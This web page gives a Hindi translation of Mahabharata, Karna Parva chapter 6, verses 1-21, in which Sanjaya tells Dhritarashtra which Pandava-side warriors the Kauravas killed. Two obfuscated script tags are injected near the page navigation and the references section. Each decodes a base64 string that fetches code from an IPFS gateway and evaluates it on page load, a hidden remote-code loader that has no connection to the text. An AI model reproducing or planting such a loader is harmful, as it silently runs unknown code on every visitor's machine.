महाभारत कर्ण पर्व अध्याय 6 श्लोक 1-21

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

षष्ठ (6) अध्याय: कर्ण पर्व

महाभारत: कर्ण पर्व: षष्ठ अध्याय: श्लोक 1-21 का हिन्दी अनुवाद

कौरवों द्वारा मारे गये प्रधान - प्रधान पाण्डव - पक्ष के वीरों का परिचय

धुतराष्ट्र ने कहा - तात संजय ! तुमने युद्ध में पाण्डवों द्वारा मारे गये मेरे पक्ष के वीरों के नाम बताये गये हैं। अब मेरे योद्वाओं द्वारा मारे गये पाण्डव योद्धाऔ का परिचय दो। संजय ने कहा - राजन् अत्यन्त धीर, महान् बलवान् और पराक्रमी जो कुन्तीभेज देश के योद्धा थे, उन्हे गंगा नन्दन भीष्म ने मार गिराया। पाण्डवों मे अनुराग रखने वाले जो नारायण और बलभद्र नाम वाले सैंकड़ों शूरवीर थे, उन्हें भी वीरवर भीष्म ने युद्ध में धराशायी कर दिया। सत्यजित् संग्राम में किरीटधारी अर्जुन के समान बल और पराक्रम से सम्पन्न था, जिसे युद्ध स्थल में सत्य प्रतिज्ञ द्रोणाचार्य ने मार डाला। युद्ध की कला में सम्पूर्ण पान्चाल धनुर्धर द्रोणाचार्य से अक्कर लेकर यमलोक में जा पहुँचे हैं। मित्र के लिये पराक्रम करने वाले बूढत्रे राजा विराट और द्रुपद को अपने पुत्रों सहित द्रोणाचार्य के द्वारा रण भूमि में मारे गये हैं। जो बाल्यावस्था में ही दुर्धर्ष वीर था और सव्यसाची अर्जुन, भगवान् श्रीकृष्ण अथवा बलदेवजी के समान समझा जाता था तथा जो महान् रथ युद्ध में विशेष कुशल था, वह अभिमन्यु शत्रुओं का संहार करके छह बड़े - बड़े महारथियों द्वारा, जिनका अर्जुन पर वश नहीं चलता था, चारों ओर से घेरकर मार डाला गया।
महाराज ! क्षत्रिय - धर्म में तत्पर रहने वाला वीर सुभद्रा कुमार अभिमन्यु रथहीन कर दिया गया, उस अवस्था में दुःशासन के पुत्र ने उसे रण भूमि में मारा था। शत्रुकन्ता श्रीमान् अम्बष्ठ पुत्र अपनी विशाल सेना से घिरकर मित्रों के लिये पराक्रम दिखा रहा था। वह शत्रु सेना का महान् संहार करके रण भूमि में दुर्योधन के वीर पुत्र लक्ष्मण से अक्कर ले यमलोक में जा पहुँचा। अस्त्र विद्या में विशेषज्ञ रण दुर्मद महाधनुर्धर बृहन्त को दुःशासन ने बल पूर्वक यमलोक पहुँचाया था। युद्ध में उन्मत्त होकर जूझने वाले राजा मणिमान् और दण्डधार मित्रों के लिये पराक्रम दिखाते थे। उन दोनों को द्रोणाचार्य ने युद्ध में मार गिराया है। सेना सहित भोजराज महारथी अंशुमान् को भरद्वाज नन्दन द्रोण ने पराक्रम करके यमलोक पहुँचाया है।
भारत ् समुद्र तबवर्ती राज्य के अधिपति चित्रसेन अपने पुत्र के साथ युद्ध मे आकर समुद्रसेन के द्वारा बल पूर्वक यमलोक भेज दिये गये। समुद्र तटवर्ती नील और पराक्रमी व्याघ्रदत्त इन दोनों को क्रमशः अश्वत्थामा और विकर्ण ने यमलोक पहुँचा दिया। विचित्र युद्ध करने वाले चित्रायुध समर में विचित्र रीति से पराक्रम करते हुए कौरव सेना का महान् संहार करके अन्त में विकर्ण के हाथ से मारे गये। केकय देशीय योद्धाओं से घिरे हुए भीम के समान पराक्रमी केकय राजकुमार को उन्हीं के भाई दूसरे केकय राजकुमार ने बल पूर्वक मार गिराया। महाराज ! प्रतापी पर्वतीय राजा जनमेजय गदायुद्ध में कुशल थे। उन्हें आपके पुत्र दुर्मुख ने धराशायी कर दिया। राजन् ! दो समकते हुए ग्रहों के समान नरश्रेष्ठ रोचमान, जो एक ही नाम के दो भाई थे, द्रोणाचार्य के द्वारा बाणों से एक साथ ही स्वर्गलोक पहुँचा दिये गये। प्रजानाथ ! और भी बहुत से पराक्रमी नरेश आपकी सेना का सामना करते हुए दुष्कर पराक्रम करके यमलोक में जा पहुँचे हैं ।


« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>